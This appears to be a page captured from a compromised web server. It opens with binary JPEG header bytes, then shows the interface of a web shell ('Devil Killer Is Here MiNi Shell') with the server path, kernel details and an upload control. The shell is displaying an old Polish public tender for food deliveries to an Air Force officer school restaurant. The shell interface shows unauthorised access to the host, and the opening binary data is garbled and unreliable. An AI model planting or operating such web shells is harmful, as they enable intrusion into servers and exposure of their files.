JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20090326/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20090326/79256-N-2009.html

<p class="kh_header"><b>Dęblin: dostawa  produktów spożywczych dla Wyodrębnionej Działalności Gospodarczej Wyższej Szkoły Oficerskiej Sił Powietrznych - Restauracji Piekiełko (Zp/pn/5/2009)</b><br>
<b>Numer ogłoszenia: 79256 - 2009; data zamieszczenia: 26.03.2009</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Wyższa Szkoła Oficerska Sił Powietrznych w Dęblinie , ul. Dywizjonu 303 12, 08-521 Dęblin, woj. lubelskie, tel. 081 551 71 00, faks 081 551 71 03.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej, pod którym dostępne są informacje dotyczące dynamicznego systemu zakupów:</b> www.wsosp.deblin.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Uczelnia publiczna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> dostawa  produktów spożywczych dla Wyodrębnionej Działalności Gospodarczej Wyższej Szkoły Oficerskiej Sił Powietrznych - Restauracji Piekiełko (Zp/pn/5/2009).</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1)	przedmiotem zamówienia jest dostawa produktów spożywczych zgodnych z Polskimi Normami określonymi w formularzach cenowych, w następującym asortymencie i ilościach:
Część I Przyprawy, miód, przetwory zbożowe, delikatesy oraz warzywa i owoce konserwowe:
1.	10 kg żelatyny spożywczej 100 - 250 g (CPV 15892000-7),
2.	5 kg cukru wanilinowego 10 - 100 g (CPV 15831000-2),
3.	10 kg czosnku granulowanego (CPV 15870000-7),
4.	5 kg grzybów suszonych 100 - 250 g (CPV 15890000-3),
5.	5 kg bulionu grzybowego kostka typu Knorr lub równoważny (CPV 15891500-5),
6.	10 kg bulionu drobiowego kostka typu Knorr lub równoważny (CPV 15891500-5),
7.	200 kg soli jadalnej 1000 g (CPV 15872400-5),
8.	20 kg rosołu jarzynowego instant 250 - 500 g (CPV 15892000-7),
9.	100 kg koncentratu pomidorowego 30% 500 g typu Pudliszki lub równoważny (CPV 15331427-6),
10.	30 kg ketchupu 250 - 500 g typu Pudliszki lub równoważny (CPV 15871230-5),
11.	200 kg majonezu typu Winiary lub równoważny 470 g (CPV 15871273-8),
12.	30 kg musztardy100 - 500 g (CPV 15871250-1),
13.	3 kg gałki muszkatołowej mielonej 50 - 250 g (CPV 15870000-7),
14.	3 kg imbiru mielonego 50 - 250 g (CPV 15872500-6),
15.	50 kg żurku w proszku 250 - 500 g typu Winiary lub równoważny (CPV 15891400-4),
16.	10 kg rosołu wołowego instant 250 - 500 g (CPV 15891100-1),
17.	60 l przyprawy do zup w płynie 1000 - 1040 ml (CPV 15870000-7),
18.	1 kg cynamonu mielonego 10 - 25 g (CPV 15870000-7),
19.	2 kg przyprawy curry 10 - 25 g (CPV 15870000-7),
20.	5 kg sosu grzybowego 50 - 250 g (CPV 15871260-4),
21.	25 kg sosu pieczarkowego 50 - 250 g (CPV 15871260-4),
22.	5 kg sosu myśliwskiego 50 - 250 g (CPV 15871260-4),
23.	15 kg sosu pieczeniowego 50 - 250 g (CPV 15871260-4),
24.	5 kg majeranku 50 - 500 g (CPV 15872000-1),
25.	3 kg ziela angielskiego 50 - 100 g (CPV 15870000-7),
26.	3 kg liścia laurowego 7 - 100 g (CPV 15870000-7),
27.	5 kg papryki mielonej (pieprzu tureckiego) 10 - 100 g (15870000-7),
28.	15 kg pieprzu czarnego 10 - 250 g (CPV 15872100-2),
29.	10 kg przyprawy do mięsa 250 - 1000 g (CPV 15870000-7),
30.	5 kg przyprawy do ryb 250 - 1000 g (CPV 15870000-7),
31.	15 kg przyprawy do drobiu 250 - 1000 g (CPV 15870000-7),
32.	5 kg przyprawy uniwersalnej 250 - 1000 g (CPV 15870000-7),
33.	70 l octu spirytusowego 500 ml (CPV 15871100-5),
34.	50 l barszczu czerwonego koncentratu w płynie 250 - 1000 ml (CPV 15892200-9),
35.	5 kg kwasku cytrynowego 10 - 250 g (CPV 15871110-8),
36.	30 kg ćwikła z chrzanem 200 - 500 g typu MOSSO lub równoważne (CPV 15331120-7),
37.	30 kg chrzanu tartego z kwaskiem cytrynowym 200 - 500 g (CPV 15331110-1),
38.	25 kg szczawiu konserwowego 400 g (CPV 15331140-0),
39.	200 kg papryki konserwowej 900 g (CPV 15331500-2),
40.	75 kg kukurydzy konserwowej 400 g (CPV 15331470-2),
41.	75 kg groszku konserwowego 400 g (CPV 15331462-3),
42.	75 kg fasolki konserwowej 400 g (CPV 15331464-7),
43.	350 kg ogórków konserwowych 900 - 2500 g (CPV 15331500-2),
44.	75 kg brzoskwini konserwowej 850 g (CPV 15332400-8),
45.	75 kg ananasów konserwowych 580 g (CPV 15332400-8),
46.	20 kg oliwek zielonych/czarnych bez pestek 850 - 900 g (CPV 15331450-6),
47.	70 kg selera konserwowego - wiórek 250 - 500 g (CPV 15331120-4),
48.	25 kg śliwek w occie 900 g (CPV 15332400-8),
49.	150 kg pieczarek marynowanych 900 g (CPV 15331400-1),
50.	2 kg miodu naturalnego porcjowanego 25 g (CPV 15831600-8),
51.	15 kg płatków śniadaniowych (różne rodzaje) 250 - 500 g (CPV 15613380-5),
52.	15 kg płatków owsianych 250 g (CPV 15613380-5),
53.	15 kg musli bananowych 250 g (CPV 15613313-5),
54.	10 kg musli jabłkowych 250 - 500 g (CPV 15613313-5),
55.	10 kg musli truskawkowych 250 -500 g (CPV 15613313-5),
56.	10 kg musli morelowych 250 - 500 g (CPV 15613313-5),
57.	30 kg makaronu jajecznego wyborowego rurki 500 - 5000 g (CPV 15851100-9),
58.	30 kg makaronu jajecznego wyborowego wstążki 500 - 5000 g (CPV 15851100-9),
59.	30 kg makaronu jajecznego wyborowego świderki 500 - 5000 g (CPV 15851100-9),
60.	150 kg makaronu jajecznego wyborowego nitki 500 - 5000 g (CPV 15851100-9),
61.	250 kg mąki pszennej typ 500 1000 g (CPV 15612100-2),
62.	50 kg mąki ziemniaczanej 500 - 1000 g (CPV 15623000-1),
63.	10 kg kaszy manny 500 g (CPV 15613000-8),
64.	150 kg ryżu długiego białego 500 - 1000 g (CPV 15614100-6),
65.	40 kg kaszy jęczmiennej perłowej mazurskiej 1000 g (CPV 15613000-8),
66.	30 kg margaryny deserowej kostka 250 g (CPV 15431100-9),
67.	200 l oleju jadalnego uniwersalnego 1000 - 3000 ml (CPV 15411100-3),
68.	30 kg kaszy gryczanej 1000 g (CPV 15613000-8),
69.	6 kg drożdży świeżych 50 - 500 g (CPV 15898000-9),
70.	3 kg dżemu śliwkowego wysokosłodzonego 25 g (CPV15332290-3),
71.	3 kg dżemu truskawkowego wysokosłodzonego 25 g (CPV15332296-5),
72.	2 kg dżemu wiśniowego wysokosłodzonego 25 g (CPV15332290-3),
73.	2 kg dżemu pomarańczowego wysokosłodzonego 25 g (CPV15332290-3),
74.	1 kg powideł śliwkowych 25 g (CPV 15332200-6),
75.	10 kg wafelków w czekoladzie 43 g typu Prince-polo lub równoważnych (CPV 15842000-2),
76.	35 kg kawy naturalnej rozpuszczalnej typu Nescafe lub równoważnej 500 g (CPV 15860000-4),
77.	50 kg kawy naturalnej mielonej 250 - 500 g (CPV 15861100-2),
78.	350 kg lodów - różne smaki kuweta 5000 g (CPV 15555100-4),
79.	5 kg galaretki niskosłodzonej 100 g (CPV 15833100-7),
80.	5 kg kakao 10 - 12% tł. 100 - 200 g (CPV 15841000-5),
81.	150 l soku wieloowocowego egzotycznego 1 l (CPV 15321700-1),
82.	150 l soku grejpfrutowego 1 l (CPV 15321200-6),
83.	150 l soku jabłkowego 1 l (CPV 15321600-0),
84.	150 l soku pomarańczowego 1 l (CPV 15321100-5),
85.	150 l nektaru z czarnej porzeczki 1 l (CPV 15321000-4),
86.	50 kg sosu do deserów, lodów i ciast 500 - 1000 g (CPV 15833000-6),
87.	300 kg cukru białego kryształ 1000 g (CPV 15831200-4),
88.	40 kg herbaty ekspresowej typu Lipton lub równoważnej 50-200 g (saszetki) (CPV 15864100-3),
89.	20 kg delicji szampańskich 120 - 147 g rs (CPV 15842000-2),
90.	10 kg batonów czekoladowych typu LION lub równoważnych 43 g (CPV 15842220-0),
91.	10 kg batonów czekoladowych typu MARS lub równoważnych 43 g (CPV 15842220-0),
92.	5 kg batonów czekoladowych typu PAWEŁEK lub równoważnych 45 g (CPV 15842220-0),
93.	5 kg wafelków w czekoladzie typu PRINCESSA lub równoważnych 40 g (CPV 15842000-2),
94.	10 kg piegusków markizy kakaowe 150 - 171 g rs (CPV 15842000-2),
95.	35 kg cukierków nadziewanych (CPV 15842000-2),
96.	20 kg cukierków czekoladowych mieszanka (CPV 15842000-2),
97.	5 kg wafelków w czekoladzie typu GRZESKI lub równoważne 40 g (CPV 15842000-2),
98.	5 kg katarzynek - pierników w czekoladzie 60 g (CPV 15842000-2).
  Część II Pieczywo i wyroby cukiernicze:
1.	50 kg chleba mieszanego krojonego foliowanego (CPV 15811100-7),
2.	15 szt. chleba okolicznościowego (weselnego) (CPV 15811100-7),
3.	700 kg chleba mieszanego (CPV 15811100-7),
4.	250 kg chleba żytniego razowego (CPV 15811100-7),
5.	250 kg bułki pszennej zwykłej 50 g (CPV 15811400-0),
6.	250 kg bułki tartej 500 - 1000 g (CPV 15800000-6),
7.	140 kg makowca (CPV 15812200-5),
8.	50 kg pączków drożdżowych koktajlowych 20-25 g (CPV 15812200-5),
9.	120 kg jabłecznika (CPV 15812200-5),
10.	50 kg drożdżówek z serem 50 g (15812200-5),
11.	75 kg rolady z jabłkiem (CPV 15812200-5),
12.	50 kg stefanki (CPV 15812200-5),
13.	140 kg sernika wiedeńskiego (CPV 15812200-5),
14.	20 kg babki w polewie czekoladowej (CPV 15812200-5),
15.	25 kg placka drożdżowego (CPV 15812200-5),
16.	25 kg keksu (CPV 15812200-5),
17.	25 kg pychotki (CPV 15812200-5),
18.	25 kg królewca (CPV 15812200-5).
Część III Warzywa świeże gr. I:
1.	25 kg fasolki szparagowej świeżej (CPV 15300000-1),
2.	50 kg kalafiora świeżego (CPV 15331140-0),
3.	100 kg papryki świeżej kolorowej (CPV 15331100-8),
4.	15 kg koperku zielonego (CPV 15300000-1),
5.	300 kg pomidorów (CPV 15331100-8),
6.	15 kg czosnku (CPV 15331100-8),
7.	20 kg sałaty karbowanej (CPV 15331140-0),
8.	100 kg sałaty głowiastej (CPV 15331140-0),
9.	25 kg natki pietruszki (CPV 15331140-0),
10.	40 kg rzodkiewki (CPV 15331100-8),
11.	150 kg kapusty pekińskiej (CPV 15331140-0),
12.	10 kg rzodkwi białej (CPV 15331100-8),
13.	75 kg pietruszki korzeniowej (CPV 15300000-1),
14.	250 kg ogórków świeżych (CPV 15331100-8),
15.	350 kg cebuli świeżej (CPV 15331100-8),
16.	350 kg kapusty białej świeżej (CPV 15331140-0),
17.	200 kg buraków ćwikłowych świeżych (CPV 15331100-8),
18.	45 kg szczypiorku (CPV 15331100-8),
19.	400 kg marchwi świeżej (CPV 15331100-8),
20.	80 kg selera (CPV 15331100-8),
21.	250 kg kapusty czerwonej (CPV 15331140-0),
22.	80 kg pora (CPV 15331100-8),
23.	300 kg ziemniaków jadalnych młodych (CPV 15310000-4),
24.	1 900 kg ziemniaków jadalnych późnych (CPV 15310000-4),
25.	250 kg pieczarek świeżych (CPV 15300000-1),
26.	50 kg fasoli białej (CPV 15331131-4),
27.	50 kg grochu obłuskanego polerowanego połówki (CPV 1531133-8).
Część IV Owoce:
1.	50 kg truskawek (CPV 15300000-1),
2.	200 kg mandarynek (CPV 15300000-1),
3.	200 kg bananów (CPV 15300000-1),
4.	75 kg cytryn (CPV 15300000-1),
5.	100 kg winogron białych (CPV 15300000-1),
6.	100 kg winogron czerwonych (CPV 15300000-1),
7.	100 kg pomarańczy (CPV 15300000-1),
8.	300 kg jabłek (CPV 15300000-1),
9.	70 kg brzoskwiń (CPV 15300000-1),
10.	80 kg nektarynek (CPV 15300000-1),
11.	50 śliwek (CPV 15300000-1),
12.	150 kg gruszek (CPV 15300000-1),
13.	200 kg arbuza (CPV 15331100-8),
14.	200 kg ananasa (CPV 15300000-1).
Część V Jaja kl. I:
1.	7500 szt. jaj kl. I (CPV 15100000-9).
Część VI Ryby i przetwory rybne:
1.	30 kg śledzia marynowanego fileta 8200 - 10000 g (CPV 15235000-4),
2.	50 kg łososia w plastrach 100-300-1000 g (CPV 15234000-7),
3.	300 kg śledzi solonych matiasów 8200 - 10000 g (CPV 15233000-0),
4.	15 kg tuńczyka w oleju 150 - 200 g (CPV 15241400-3),
5.	200 kg karpia świeżego fileta (CPV 15211100-1),
6.	10 kg szczupaka świeżego (CPV 15211100-1),
7.	50 kg morszczuka fileta (CPV 15221000-3),
8.	10 kg soli fileta (CPV 15221000-3),
9.	50 kg mintaja fileta (CPV 15221000-3),
10.	50 kg dorsza fileta (CPV 15221000-3).
Część VII Drób i wędliny drobiowe:
1.	70 kg wątroby z kurczaka (CPV 15112300-9),
2.	25 kg fileta z piersi indyka wędzonego (CPV 15112120-3),
3.	400 kg udek z kurczaka + podudzie /bez grzbietu/ (CPV 15112100-7),
4.	200 kg kurczaka świeżego w opak. hermet. typu vacum temp. (CPV 15112100-7),
5.	400 kg piersi z kurczaka filet (CPV 15112100-7),
6.	25 kg szynki z indyka (CPV 15112120-3),
7.	25 kg fileta z piersi indyka (CPV 15112120-3),
8.	100 kg korpusów rosołowych z kurczaka (CPV 15112100-7).
Część VIII Mięso i wędliny:
1)	100 kg golonki wieprzowej tylnej (CPV 15113000-3),
2)	250 kg karkówki wieprzowej bez kości (CPV 15113000-3),
3)	250 kg łopatki wieprzowej bez kości, skóry i tłuszczu (CPV 15113000-3),
4)	500 kg schabu wieprzowego bez kości (CPV 15113000-3),
5)	100 kg szynki wieprzowej bez kości (CPV 15113000-3),
6)	100 kg żeberek wieprzowych paski (CPV 15113000-3),
7)	75 kg antrykotu wołowego bez kości kręg. (CPV 15111100-0),
8)	20 kg polędwicy wołowej ekstra (CPV 15111100-0),
9)	300 kg wołowiny zrazowej bez kości (CPV 15111100-0),
10)	20 kg udźca cielęcego bez kości (CPV 15111200-1),
11)	30 kg ozorów wieprzowych (CPV 15113000-3),
12)	50 kg wątroby wieprzowej (CPV 15114000-0),
13)	250 kg flaków wołowych podgotowanych, krojonych (CPV 15111100-0),
14)	50 kg kości wieprzowych/schabowych (CPV 15113000-3),
15)	25 kg słoniny świeżej bez skóry (CPV 15113000-3),
16)	250 kg smalcu wieprzowego kostka (CPV 15113000-3),
17)	50 kg kiełbasy swojskiej (CPV 15131130-5),
18)	50 kg kiełbasy białej parzonej (CPV 15131130-5),
19)	150 kg kiełbasy śląskiej (CPV 15131130-5),
20)	100 kg parówek cienkich (CPV 15131130-5),
21)	180 kg kaszanki (CPV 15131134-3), 
22)	25 kg kiełbasy krakowskiej suchej (CPV 15131130-5),
23)	25 kg kiełbasy żywieckiej suchej (CPV 15131130-5),
24)	50 kg kiełbasy myśliwskiej suchej (CPV 15131130-5),
25)	50 kg kabanosów śniadaniowych (CPV 15131130-5),
26)	30 kg kabanosów wieprzowych (CPV 15131130-5),
27)	70 kg baleronu wędzonego (CPV 15131200-7), 
28)	70 kg polędwicy sopockiej (CPV 15131200-7),
29)	100 kg szynki wieprzowej gotowanej (CPV 15131135-5),
30)	50 kg szynki Babuni (CPV 15131210-0),
31)	100 kg schabu pieczonego (CPV 15131120-2),
32)	30 kg schabu z ziołami (CPV 15131120-2),
33)	100 kg boczku wędzonego parzonego, bez kości (CPV 15131220-3),
34)	50 kg boczku świeżego chudego bez żeber (CPV 15131220-3),
35)	30 kg łopatki pieczonej (CPV 15131120-2),
36)	50 kg pasztetowej (CPV 15131310-1),
37)	40 kg salcesonu ozorowego (CPV 15131120-2).
Część IX Warzywa przetworzone:
1.	300 kg kapusty kwaszonej białej 10 000 - 20 000 g (CPV 15331142-4),
2.	100 kg ogórków kwaszonych 10 000 - 20 000 g (CPV 15331000-7). 
Część X Produkty głęboko mrożone:
1.	20 kg szpinaku mrożonego (CPV 15331170-9),
2.	50 kg kalafioru mrożonego (CPV 15331170-9),
3.	50 kg brokuł mrożonych (CPV 15331170-9),
4.	400 kg frytek mrożonych płaskich 1 000 - 4 000 g (CPV 15896000-5),
5.	50 kg mrożonki kompotowej - mieszanki (CPV 15331170-9). 
Część XI Woda mineralna:
1.	5000 szt. wody mineralnej gazowanej 0,5 l typu Cisowanka lub równoważna (CPV 15981200-0),
2.	5000 szt. wody mineralnej niegazowanej 0,5 l typu Cisowanka lub równoważna (CPV 15981200-0).
Część XII Napoje orzeźwiające:
1.	300 szt. napoju typu Mirinda lub równoważnego, 0,2 l butelka zwr. (CPV 15982000-5),
2.	300 szt. napoju typu Pepsi lub równoważnego, 0,2 l butelka zwr. (CPV 15982000-5),
3.	250 szt. napoju typu 7 UP lub równoważnego, 0,2 l butelka zwr. (CPV 15982000-5),
4.	250 szt. tonicu 0,2 l butelka zwr. (CPV 15982000-5),
5.	250 szt. napoju typu Schweppes lub równoważnego, 0,2 l butelka zwr. (CPV 15982000-5),
6.	200 szt. napoju typu Mountain Dew lub równoważnego, 0,5 l butelka plastikowa (CPV 15982000-5),
7.	200 szt. napoju typu Schweppes lub równoważnego, 0,5 l butelka plastikowa (CPV 15982000-5),
8.	200 szt. napoju typu Mirinda lub równoważnego, 0,5 l butelka plastikowa (CPV 15982000-5),
9.	100 szt. napoju typu Lipton brzoskwiniowy lub równoważnego, 0,5 l butelka plastikowa (CPV 15982000-5),
10.	100 szt. napoju typu Lipton cytrynowy lub równoważnego, 0,5 l butelka plastikowa (CPV 15982000-5),
11.	50 szt. napoju typu Lipton biała herbata lub równoważnego, 0,5 l butelka plastikowa (CPV 15982000-5),
12.	50 szt. napoju typu Lipton czerwona herbata lub równoważnego, 0,5 l butelka plastikowa (CPV 15982000-5),
13.	50 szt. napoju typu Lipton zielona herbata lub równoważnego, 0,5 l butelka plastikowa (CPV 15982000-5),
14.	200 szt. napoju typu 7 UP lub równoważnego, 0,5 l butelka plastikowa (CPV 15982000-5),
15.	200 szt. napoju typu Pepsi MAX lub równoważnego, 0,5 l butelka plastikowa (CPV 15982000-5),
16.	500 szt. napoju typu Pepsi lub równoważnego, 0,33 l puszka (CPV 15982000-5),
17.	250 szt. napoju typu Mountain Dew lub równoważnego, 0,33 l puszka (CPV 15982000-5),
18.	250 szt. napoju typu Mirinda lub równoważnego, 0,33 l puszka (CPV 15982000-5),
19.	250 szt. napoju typu Schweppes lub równoważnego, 0,33 l puszka (CPV 15982000-5),
20.	250 szt. tonicu, 0,33 l puszka (CPV 15982000-5),
21.	250 szt. napoju typu Pepsi MAX lub równoważnego, 0,33 l puszka (CPV 15982000-5),
22.	250 szt. napoju typu Pepsi light lub równoważnego, 0,33 l puszka (CPV 15982000-5),
23.	250 szt. napoju typu Pepsi lub równoważnego, 0,33 l puszka (CPV 15982000-5);
2)	przedmiot zamówienia będzie pochodził z bieżącej produkcji, tej samej partii produkcyjnej, będzie wytwarzany zgodnie z zasadami GMP (Dobrej Praktyki Produkcyjnej) i dostarczany zgodnie z obowiązującymi przepisami:
a)	ustawy z dnia 25 sierpnia 2006 r. o bezpieczeństwie żywności i żywienia (Dz. U. Nr 171, poz.1225) i innymi aktami wykonawczymi do tej ustawy;
b)	rozporządzenia (WE) 178/2002 Parlamentu Europejskiego i Rady z dnia 28 stycznia 2002 r. ustanawiającego ogólne zasady i wymagania prawa żywnościowego, powołującego Europejski Urząd ds. Bezpieczeństwa Żywności oraz ustanawiającego procedury w zakresie bezpieczeństwa żywności (Dz. U. UE L Nr 31, poz. 1);
c)	rozporządzenia (WE) 1935/2004 Parlamentu Europejskiego i Rady z dnia 27 października 2004 r. w sprawie materiałów i wyrobów przeznaczonych do kontaktu z żywnością oraz uchylającego Dyrektywy 80/590/EWG 
i 89/109/EWG (Dz. U. UE L Nr 338, poz. 4);
d)	rozporządzenia Ministra Rolnictwa i Rozwoju Wsi z dnia 10 lipca 2007 r. 
w sprawie znakowania środków spożywczych (Dz. U. Nr 137, poz. 966 z późn zm.);
e)	rozporządzenia (WE) 852/2004 Parlamentu Europejskiego i Rady z dnia 29 kwietnia 2004 r. w sprawie higieny środków spożywczych (Dz. U. UE L Nr 139, poz. 1 z późn zm.);
f)	ustawy z dnia 21 grudnia 2000 r. o jakości handlowej artykułów rolno-spożywczych (Dz. U. z  2005 Nr 187, poz. 1577 z późn zm.);
g)	rozporządzenia Ministra Rolnictwa i Rozwoju Wsi z dnia 30 września 2003 r. 
w sprawie szczegółowych wymagań w zakresie jakości handlowej soków i nektarów owocowych (Dz. U. Nr 177, poz. 1735 z późn. z m.) - dotyczy tylko części I;
h)	rozporządzenia Ministra Rolnictwa i Rozwoju Wsi z dnia 27 lutego 2003 r. 
w sprawie szczegółowych wymagań w zakresie jakości handlowej ekstraktów kawy i ekstraktów cykorii (Dz. U. Nr 52, poz. 463 z późn. zm.) - dotyczy tylko części I;
